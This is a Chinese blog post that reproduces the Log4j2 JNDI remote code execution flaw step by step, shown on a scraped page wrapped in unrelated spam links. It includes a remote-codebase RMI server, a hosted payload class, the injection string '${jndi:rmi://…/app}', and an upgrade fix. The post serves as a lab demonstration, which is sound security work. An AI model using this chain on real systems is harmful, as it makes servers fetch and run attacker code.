当前位置: 首页 > news >正文

搜索品牌价值的网站/百度热搜排名

搜索品牌价值的网站,百度热搜排名,重庆做石材的网站,关于学校网站建设经费的申请文章目录一、问题二、Log4j远程代码执行漏洞复现1、下载JNDIExploit2、远程执行程序 -- AppRun3、编译AppRun放入nginx服务器根目录下4、编写一个RMI服务端5、模拟一个用log4j运行的程序三、解决四、本文案例demo源码一、问题 在Log4j2.x<2.14.1版本&#xff0c;攻击者可通…

文章目录

      • 一、问题
      • 二、Log4j远程代码执行漏洞复现
        • 1、下载JNDIExploit
        • 2、远程执行程序 -- AppRun
        • 3、编译AppRun放入nginx服务器根目录下
        • 4、编写一个RMI服务端
        • 5、模拟一个用log4j运行的程序
      • 三、解决
      • 四、本文案例demo源码

一、问题

Log4j2.x<=2.14.1版本,攻击者可通过构造恶意请求,触发远程代码执行漏洞
在这里插入图片描述

二、Log4j远程代码执行漏洞复现

1、下载JNDIExploit

一款用于 JNDI注入 利用的工具

https://github.com/feihong-cs/JNDIExploit

运行

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i ip

在这里插入图片描述

2、远程执行程序 – AppRun

tips: 自行编写相应逻辑 ^_^

public class AppRun {static {System.out.println("hello world...");}}

3、编译AppRun放入nginx服务器根目录下

javac AppRun.java

将编译好的AppRun.class放入nginx服务器根目录下
在这里插入图片描述

4、编写一个RMI服务端

public class RmiServer {public static void main(String[] args) {System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");try {LocateRegistry.createRegistry(1099);Registry registry = LocateRegistry.getRegistry();// 本地执行方式
//            Reference reference = new Reference("AppRun", "AppRun", null);// tips:如果是远程执行,需要将`AppRun`编译后的字节码文件放到nginx html访问目录下,再通过如下方式执行程序Reference reference = new Reference("AppRun", "AppRun", "http://www.zhengqingya.com:80/");registry.bind("app", new ReferenceWrapper(reference));System.out.println("Create app registry on port 1099...");} catch (Exception e) {e.printStackTrace();}}}

运行RmiServer

5、模拟一个用log4j运行的程序

模拟输出特定值,实际上可在前端页面上的输入框中输入这些值,只要程序后台通过log4j打印这些值即会触发远程代码AppRun执行相应逻辑

public class Log4j {private static final Logger log = LogManager.getLogger(Log4j.class);public static void main(String[] args) {System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");log.error("test1: ${java:os}");log.error("test2: ${jndi:rmi://192.168.101.88:1099/app}");}}

运行Log4j,即可查看效果
在这里插入图片描述

三、解决

升级log4j版本至2.15.0

<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
<dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-core</artifactId><version>2.15.0</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
<dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-api</artifactId><version>2.15.0</version>
</dependency>

四、本文案例demo源码

https://gitee.com/zhengqingya/java-workspace


今日分享语句:
就算学习和生活再艰难,也要一边痛着,一边笑着,给生活一张漂亮的脸。

http://www.lbrq.cn/news/1400095.html

相关文章:

  • 东莞哪家做网站很有名的公司/网页链接
  • 中心网站建设方法/宁波seo快速优化平台
  • 新公司如何做网站/短链接
  • 做网站属于It行业吗/百度联系电话多少
  • 云南建设企业网站/企业培训权威机构
  • wordpress kalium/网站优化方案设计
  • 电白区建设局网站/网络营销师是做什么的
  • 网站建设定位/销售人员培训课程有哪些
  • 活动线报资源网/seo关键词排名优化系统
  • wordpress网站在哪里修改/网络营销的招聘信息
  • 新疆乌鲁木齐建设厅网站/培训机构排名
  • 网站设计 网站建设/网站seo关键词优化排名
  • 专业网站建设的公司/最近的新闻事件
  • 非经营性网站个人可以备案吗/自己怎么优化网站排名
  • 织梦关闭网站/深圳市住房和建设局官网
  • 好听顺口的公司名字/优化营商环境条例解读
  • 有关风水的网站建设栏目/设计一个公司网站多少钱
  • 山东政府网站建设特色/优化网站关键词排名软件
  • 全国工程信息查询平台/贵港seo
  • 成都企业网站设计服务商/武汉网站建设优化
  • 周六日可以在外汇局网站做申报吗/沈阳seo排名优化软件
  • 深圳建设网站费用明细/职业培训机构有哪些
  • 个人网站相册怎么做/seo单页面优化
  • 高校二级学院网站建设管理制度/教育培训机构营销方案
  • 网站的推广方案/哪个搜索引擎最好用
  • 怎么做有趣的微视频网站/杭州网站运营十年乐云seo
  • 购物网站如何做性能测试/宁德市
  • 免费高清图片素材网站推荐/设计培训班学费一般多少
  • 网站建设技术实现/快速网站轻松排名哪家好
  • 营销型网站建设php源码/深圳seo网络推广
  • docker 部署
  • 【C++】模版(初阶)
  • 服务器硬件电路设计之 SPI 问答(二):SPI 与 I2C 的特性博弈及多从机设计之道
  • 网络聚合链路与软件网桥配置指南
  • 45 C++ STL模板库14-容器6-容器适配器-优先队列(priority_queue)
  • 【前端面试题】JavaScript 核心知识点解析(第一题到第十三题)